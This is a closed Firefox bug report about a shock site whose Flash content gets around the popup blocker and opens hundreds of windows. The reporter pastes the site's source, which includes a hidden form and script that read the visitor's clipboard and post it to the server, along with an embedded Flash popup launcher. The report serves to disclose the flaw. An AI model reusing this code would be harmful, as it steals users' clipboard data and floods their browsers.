Closed Bug 277861 Opened 20 years ago Closed 20 years ago

Rapid-fire uncontrolled opening of new windows (flash popups)

Categories

(Firefox :: Tabbed Browser, defect)

Product:
Firefox
Component:
Tabbed Browser
Version:
1.0 Branch
Platform:
x86
Windows 2000
Type:
defect
Priority:
Not set
Severity:
major

Tracking

()

Status:
RESOLVED DUPLICATE of bug 176079

People

(Reporter: kevin, Assigned: bugs)

References

(
URL
)

Details

(Keywords: shockwave) 

This opens many new windows (hundreds), very fast.  Ocurrs both with Javascript
turned on and off and Java turned on and off.  I turned images off because the
images are HIGHLY OFFENSIVE.  Popup window blocking is enabled with no
exceptions, yet it still happens.  

Warning!  This opens windows so fast I couldn't close them without having Task
Manager at-the-ready before I started.  

This seems to be a security problem...
http://lastmeasure.on.nimp.org/~Tar_Baby

is the website that does this.  The source (wget got this for me):
$ cat index.php
<html>
  <head>
    <title>GNAA Last Measure v4.1 by Rucas with Armorfist's PopupByPasser
Mod.</title>
</head>

<body>

<form name="clip" method="post" action="index.php" style="display:none">
<input type="text" name="content">
<input type="hidden" name="send" value="1">
<input type="hidden" name="referer" value="">
<input type="hidden" name="user" value="">
<input type="submit">
</form>

<script language="javascript">
//without this if statement check, it bombs out with an error
if(typeof clipboardData != 'undefined') {
    var content = clipboardData.getData("Text");
    document.forms["clip"].elements["content"].value = content;
}
document.forms["clip"].submit();
</script>
</body>
</html>
</head>
<body >

<table width="100%" height="100%"><tr><td valign="middle"><div align="center"><a
href="http://www.gnaa.us/"><img src="gnaa.png" bor
er="0"></a><br><br>

        <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000'
codebase='http://download.macromedia.com/pub/shockwave/cabs/fl
sh/swflash.cab#version=6,0,29,0' width='10' height='10'>
          <param name='movie' value='flash/first_opener.swf'>
          <param name='quality' value='high'>
          <embed src='flash/first_opener.swf' quality='high'
pluginspage='http://www.macromedia.com/go/getflashplayer' type='applic
tion/x-shockwave-flash' width='10' height='10'></embed>
        </object>
        </div></td></tr></table></body></html>
Keywords: shockwave
Flash evades our popup blocker. In the meanwhile you might find the FlashBlock
extension useful (turns all flash into click to play).
http://flashblock.mozdev.org/installation.html

*** This bug has been marked as a duplicate of 176079 ***
Group: security
Status: UNCONFIRMED → RESOLVED
Closed: 20 years ago
Resolution: --- → DUPLICATE
Summary: Rapid-fire uncontrolled opening of new windows → Rapid-fire uncontrolled opening of new windows (flash popups)
You need to log in before you can comment on or make changes to this bug.